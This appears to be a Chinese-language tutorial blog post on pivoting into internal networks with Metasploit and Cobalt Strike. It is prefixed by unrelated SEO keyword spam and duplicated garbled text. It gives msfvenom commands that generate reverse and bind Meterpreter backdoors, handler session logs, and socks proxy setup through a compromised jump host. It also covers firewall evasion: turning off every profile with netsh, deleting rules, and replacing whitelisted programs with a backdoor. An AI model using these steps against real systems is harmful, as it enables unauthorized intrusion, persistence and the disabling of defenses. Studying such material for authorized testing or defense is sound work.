网站建设 排行,整合营销传播成功案例,企业网站素材,石家庄软件开发培训学校代理技术就是解决外网和内网的通信问题#xff0c;例如#xff0c;我的一个外网主机想要找到另外一个网段下的一个内网主机#xff0c;理论上是无法找到的。如果我们想要进行通信的话就要使用代理技术。我们可以找到一个与目标内网主机在容易网段下可以通信的外网主机#…代理技术就是解决外网和内网的通信问题例如我的一个外网主机想要找到另外一个网段下的一个内网主机理论上是无法找到的。如果我们想要进行通信的话就要使用代理技术。我们可以找到一个与目标内网主机在容易网段下可以通信的外网主机在上面做一个代理转发就可以找到内网主机。
MSF和CS自带模块进行代理转发
我们可以使用msf的auxiliary/server/socks_proxy模块和cs的建立sock连接模块来建立建立好连接之后我们将其中的ip和端口信息配置到代理转发软件中然后将我们的渗透工具添加到代理工具中就可以实现在我们本机对于内网不出网的主机进行测试
MSF模块
msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.198.135 LPORT9998 -f exe -o /testlyz2/9998.exe 先试用控制主机控制到内网中可以进行外网通信的主机再使用控制主机的msf控制到目标内网主机在主机上使用相关模块建立与内网连接的节点信息建立好节点后我们在攻击主机上通过代理连接到跳板机上与目标主机进行通信通信正常后使用渗透工具进行攻击因为msf建立的里连接只有对msf有效对其他的渗透工具无效
使用msf模块进行攻击需要进行路由添加
在win7上安装一个节点安装节点的目的就是使用节点去访问不能访问的内网主机因为在内网环境中目标主机没有出网路由就是我们不法与目标主机建立连接如果想要进行渗透测试的话就需要在win7上安装渗透测试工具进行测试显然这样做不显示为了可以在本机上进行渗透测试我们就需要使用代理节点来进行连接无法连接的内网主机
使用msf模块在已经windows7上面建立一个网络的连接节点
添加路由PSmsf要添加路由 cs不需要添加路由
使用这个语句进行添加路由 添加已有之后就可以和本地的198网段进行通讯做完这一步cs就可以直接和内网主机进行通信但是其他应用程序还是不可以通信这是因为其他工具不享有这个路由
建立节点--建立一个服务器去连接内网主机和扶墙一个原理 在一个和此内网主机不互联的外网主机使用代理工具连接我们控制主机建立的节点服务器
在msf中use auxiliary/server/socks_proxy这个模块设置代理 设置好代理后在攻击机上使用工具去连接这个代理SocketsCap 设置好代理后就检测代理的联通性 在节点主机上通过工具建立连接去连接节点服务器
绑定应用服务就可以访问到内网主机中的资源信息 CS模块
不用添加路由
先使用cs作为一个后门使用cs进行连接上线
然后点击目标右击建立socket代理 将代理的服务端口记录下来配置到攻击主机的代理服务器上即可 检测网络的联通性
我们控制一个主机一般是使用cs或者是msf一般情况下如果是cmd权限的话对于后期操作不方便也需要将权限转移到cs或者msf上面
然后配置代理选项 最后我们就可以通过工具对于不出网的主机进行正常的流量连接并进行渗透测试
CS和MSF控制上线--正向连接
CS模块
在实战情况下我们在内网环境下会遇到主机没有网络也即不出网的问题。为此我们需要使用和其在同一个网段下的主机对其进行正向主动连接--正向连接
正反向连接
正向后门执行后将数据传递给本地的2222端口控制器连接主机的2222端口
反向后门执行后将数据传递给控制主机的2222端口控制器监听自己的2222端口
由于内网的主机没有出网的接口。因此不可以使用反向连接为此只能使主机连接本地的2222端口然后使用跳板机去连接内网主机的2222端口
正向连接--生成本地后门
案例分析
先生成一个监听本地端口的后门程序
将后门上传到没有网络的内网主机 执行后门后在控制的跳板机会话中的cs控制台输入connect 192.168.198.207不出网主机就会实现上线我认为这一步体现了正向连接的精髓所在 查看网络拓扑图 可以看到我们利用跳板机连接到了内网的一台主机
MSF模块
生成blind正向连接的后门
在上一步建立好代理的基础上我们使用msf生成一个blind正向连接的后门
┌──(root㉿kali)-[~] └─# msfvenom -p windows/meterpreter/bind_tcp LHOST0.0.0.0 LPORT3333 -f exe /testlyz/bendi2.exe 生好后门后在代理中设置对话
先设控制一个受控主机
msf6 use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) set lhost 0.0.0.0
lhost 0.0.0.0
msf6 exploit(multi/handler) set lport 6666
lport 6666
msf6 exploit(multi/handler) run
查看会话信息
meterpreter background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) sessionsActive sessions
Id Name Type Information Connection-- ---- ---- ----------- ----------1 meterpreter x86/wind LYZ\Lenovo LYZ 192.168.198.135:6666 - 19ows 2.168.198.1:55989 (192.168.198.1)
看到受控主机已经加入session会话
我们在生成一个监听本地端口的本地后门
┌──(root㉿kali)-[~] └─# msfvenom -p windows/meterpreter/bind_tcp LHOST0.0.0.0 LPORT3333 -f exe /testlyz/bendi2.exe 设置监听模块
msf6 exploit(multi/handler) use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) set payload windows/meterpreter/bind_tcp
payload windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) show options
msf6 exploit(multi/handler) set rhost 192.168.198.207
rhost 192.168.198.207
msf6 exploit(multi/handler) set lport 3333
lport 3333
msf6 exploit(multi/handler) run[*] Started bind TCP handler against 192.168.198.207:3333
[*] Sending stage (175686 bytes) to 192.168.198.207
[*] Meterpreter session 2 opened (192.168.198.135:46687 - 192.168.198.207:3333) at 2024-04-13 11:32:51 0800
设置好然后在目标主机上执行后门上线 如果后期还有不同网段内网主机需要上线我们可以采取相同的操作方法一模一样
CS和MSF控制上线--反向连接以cs为例
在一般情况下我们对于一个计算机的防火墙配置都是入站较为严格出站较为宽松。为此当目标主机对于入站规则做了较为严格的限制我们只能进行反向连接
在内网主机中有的内网主机
在内网主机上的防火墙做了限制
内网主机只开放了80端口的服务只允许外部流量访问本地的80端口 设置之后只允许访问本地的80 web流量端口
使用流量转发上线
在跳板主机上选择代理转发执行转发上线在控制的内网主机上使用代理转发将转发的ip地址改为和内网主机同一网段下的IP地址生成的后门直接上线 对于数据的转发上线是有两个步骤的分别是转发和接收为此我们需要利用跳板机去接收这个流量为此就在cs上面使用转发上线
我们在本地做个实验
我们的内网主机无法访问外面的网络 我们先使用kali攻击机控制到了我们的主机主机通过正向连接控制到了一台内网主机环境没做默认不出网
我们先使用攻击主机控制到了一台跳板主机 然后使用正向连接控制到了内网的一台主机使用上节课的知识点先在受控主机上建立socket转发然后生成一个绑定本地端口的后门 然后在交互端使用connect指令去连接内网的主机即可实现上线
然后在这台主机上我们使用反向是的内网中的另外一台主机去连接我们的这台受控主机
生成一个绑定需要反向连接主机的一个监听器并且设置端口 用stageless exe生成器去生成一个后门
在目标主机上执行后门就可以直接上线 我们使用1会话作为跳板实现了2会话的上线解决了网络出站限制的通讯问题 其他思路--防火墙关闭-规则删除-白名单替换
关闭防火墙
关闭防火墙的开关就是 关闭防火墙就防火墙就没有作用了但是一般是内网主机不是域控主机权限的话无权对服务器的开关进行操作 使用命令直接删除某一条防火墙命令
白名单替换
在安装某些软件的时候它会提示我们允许通过白名单将我们的后门程序替换掉 原理允许的程序 我们可以将后门程序相同的目录下使用相同的名字进行替换那么我们的后门程序就享有这个程序的防火墙白名单权限
但是这种方式需要我们本身取得较高的主机权限
内网权限 内网域权限
域内主机的防火墙权限是由域控统一进行配置管理如果我们获得域内主机往往不具有删除防火墙策略修改防火墙白名单程序的权限这种方法不适用内网主机适用域控成员主机无法进行这种操作
删除防火墙规则
内网环境非域内环境
默认状况下防火墙的策略肯定是打开的但是我们使用netsh advfirewall set allprofiles state off就可以关闭所有的防火墙策略 还有一种情况计算机使用的防火墙是一些商业产品这种防火墙的关闭就要依据厂商的规则进行操作术
补充--cs插件实现Linux主机上线
cs本身不支持linux主机上线我们需要下载插件
Releases · gloxec/CrossC2 (github.com)https://github.com/gloxec/CrossC2/releases 加载插件到cs中 然后选择反向上线
那个keys文件是一个隐藏文件在我们安装插件的时候已经安装好了 更改路径在在Linux中相对应的文件中执行这个目录就会成一个t_cc2.out的文件
将这个文件保存下来在目标直接上执行这个文件就会实现上线 但是我这个插件加载有点问题少了一些提权的项目
写在最后
如有错误请及时指出谢谢